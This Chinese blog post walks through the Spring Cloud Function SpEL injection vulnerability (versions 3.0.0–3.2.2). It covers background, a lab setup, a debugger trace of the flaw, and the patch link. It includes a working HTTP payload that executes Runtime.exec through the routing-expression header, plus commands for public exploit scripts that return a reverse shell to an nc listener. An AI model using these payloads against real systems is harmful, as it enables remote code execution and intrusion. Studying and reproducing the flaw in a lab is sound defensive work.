本文最后更新于 2024-09-19,文章内容可能已经过时。

SpringCloud Function SpEL漏洞复现

一、漏洞简介

​ 2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。

影响版本:

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

二、基础知识

2.1 SpringCloud Function

Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS,函数即服务,function as a service),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。

2.2 SpEL

SpEL(Spring Expression Language),即Spring表达式语言,一种功能强大的表达式语言,用于在运行时查询和操作对象图。

表达式语法:

/*直接量表达式*/
#{5}
#{'abc'}
#{'true'}
/*引用Bean并使用其属性与方法*/ 
#{a}  						//a为bean的id
#{a.b}						//使用bean的属性
#{a.c()}					//使用bean的方法
/*引用类的常量与方法*/
//在SpEL中访问类作用域的方法和常量的话,可以使用T()
T(java.lang.Math).PI		//调用Math类的PI常量
T(java.lang.Math).random()	//调用Math类的random()方法

三、漏洞原理

3.1 环境搭建

3.1.1 创建Spring boot项目
  1. 打开IDEA,新建项目,选择 ‘Spring Initializr’ 。

  2. 输入项目名称,选择java版本和jdk版本。

    image-20240919023049483

  3. 选择"Web -> Spring Web"和"Spring Cloud -> Function"作为依赖项,而后生成项目。

    image-20240919024229786

  4. 修改 pom.xml 文件中的”spring-cloud-function-web”的版本。

    image-20240919025255313

  5. 启动项目。

    image-20240919025321921

  6. 访问 http://localhost:8080/

    image-20240919025500416

3.1.2 使用poc验证环境
  1. 访问 http://localhost:8080/ ,使用Brup Suite抓包,构造恶意请求访问RoutingFunction功能。

    image-20240919030442253e

    发送Repeater,修改请求为POST,构造恶意代码:

    image-20220401151053864

    payload如下:

    POST /functionRouter HTTP/1.1
    host:127.0.0.1:8080
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
    Connection: close
    spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")
    Content-Length: 3
    
    abc
    

    image-20240919030755201

  2. 发送构造的恶意请求后,成功执行恶意代码,打开计算器。

    image-20240919030820372

3.2 漏洞分析

  1. 此漏洞是由Spring Cloud Function中 RoutingFunction 类的 apply 方法触发,所以我们添加断点到apply()方法处。

    • 展开 External Libraries。
    image-20220401154436799
    • 找到 springframework.cloud.function.context.config.RoutingFunction 。

      image-20220401154641749

      • 在apply()方法处,添加断点。

        image-20240919032051846

  2. 以调试模式运行,并再次使用Brup Suite发送构造的恶意请求访问RoutingFunction功能。

    image-20240919032143910

  3. 首先请求到达 apply() 方法,而后调用 route 方法。

    image-20240919032238100

  4. 在route()方法中,实例化一个FunctionInvocationWrapper类 function,且赋值为null。而后判断 input 对象是否为 Message实例,接着将 input 赋值给 message。

    image-20240919032515767

  5. 之后将获取头部信息,取出“spring.cloud.function.routing-expression”交由functionFromExpression()方法处理。

    image-20240919032721175

  6. 进入functionFromExpression() 方法后,会调用 parseExpression() 方法去处理 routingExpression。

    image-20240919032805697

    image-20240919032913020

  7. 在 TemplateAwareExpressionParser 的 parseExpression() 方法中,进行相应判断处理后,会继续调用doParseExpression() 方法处理 routingExpression。

    image-20240919033433059

    image-20240919033517106

  8. 在 SpelExpressionParser 的 doParseExpression() 方法中,又会调用 InternalSpelExpressionParser 的 doParseExpression() 方法。

    image-20240919033631838

  9. 接着会对 token 进行处理判断,而后根据我们传入的 routing-expression 生成并返回 SpelExpression 实例化对象。

    image-20220401180616560
  10. 在 SpelExpression() 方法中会将 routing-expression 赋值给 this.expression 。

    image-20240919035302742

  11. 随后回到 functionFromExpression() 方法,将 input 的头部结构做不区分大小写的处理。

    image-20240919035356319

  12. 而后会调用 expression 的 getValue() 方法,该方法会执行头部信息中我们输入的 routing-expression 值 (SpEL表达式),去调用 java.lang.Runtime 类的 getRuntime()下的exec()方法去执行calc,启动计算器。

    image-20240919035554381

四、复现过程

4.1 实验环境

被攻击服务器

主机:CentOS7(192.168.91.128)

漏洞环境:SpringCloud-Function-0.0.1-SNAPSHOT.jar,https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE

攻击者

主机:kali(192.168.91.129)

漏洞利用工具工具:Spring-cloud-function-SpEL-RCE ,https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE

4.2 实验过程

  1. 安装漏洞环境

  2. 下载漏洞利用工具(https://github.com/sv3nbeast/Spring-cloud-function-SpEL-RCE-1),检测并利用漏洞获取反弹shell。

    image-20240919041833252

    • 检测漏洞。

      • 创建url.txt,插入想要扫描的url地址,可以是多个。
      echo "http://192.168.91.128:9000/" > url.txt
      

      image-20240919041919290

      • 使用脚本进行扫描。

        python3 Spel_RCE_POC.py url.txt
        

        image-20240919041958552

    • 获取反弹shell。

      • 使用nc开启4444端口监听。

        nc -lvp 4444
        

        image-20240919042033787

      • 使用exp获取反弹shell。

        python3 Spel_RCE_Bash_EXP.py http://192.168.91.128:9000/ 192.168.91.129 4444
        

        image-20240919042157108

        成功获取反弹shell。

        image-20240919042218065

五、修复措施

官方已发布补丁,官方链接:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

六、参考文章

1、SpringCloud Function SPEL漏洞分析 (https://www.cnblogs.com/wh4am1/p/16062306.html)

2、SpringCloud Function SpEL漏洞环境搭建+漏洞复现(https://blog.csdn.net/Moyun_vackbot/article/details/123821293)

3、spring中的SpEL表达式(https://www.jianshu.com/p/61f7c6fe03ec)

4、Spring-Cloud-SpEL-表达式注入漏洞复现 (https://www.cnblogs.com/ta1zi/p/16073257.html)